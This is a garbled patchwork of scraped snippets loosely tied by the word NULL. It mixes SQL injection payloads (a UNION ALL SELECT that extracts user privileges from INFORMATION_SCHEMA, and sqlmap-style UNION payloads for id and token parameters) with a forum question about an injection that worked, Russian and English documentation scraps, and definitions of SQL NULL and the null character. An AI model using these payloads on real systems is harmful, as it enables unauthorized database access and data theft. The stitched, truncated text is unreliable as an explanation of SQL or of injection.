qndbq7bbxilyCzFA') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716e646271,IFNULL(CAST(grantee AS CHAR),0x20),0x716a716771),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#qjqgq.
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
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Для значения стиля NULL возвращается NULL.For a style value of NULL, NULL is returned. Аргумент data_type определяет диапазон.data_type
Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: id=-4130 UNION ALL SELECT NULL,NULL,CONCAT(0x71627a7071
The reasoning is that a null means "unknown", so the result of any comparison to a null is also "unknown". So you'll get no hit on rows by coding where my_column = null. SQL provides the special syntax for testing if a column is null, via is null and is not null, which is a special condition to test for a...
Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: token=-7417' UNION ALL SELECT NULL,CONCAT(0x7171707071...
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Синтаксис: 0xHEX_ЧИСЛО (SM): SELECT CHAR(0x66) (S) SELECT 0x5045 (это не число, а
The null character (also null terminator or null byte) is a control character with the value zero. It is present in many character sets, including ISO/IEC 646 (or ASCII), the C0 control code, the Universal Coded Character Set (or Unicode), and EBCDIC.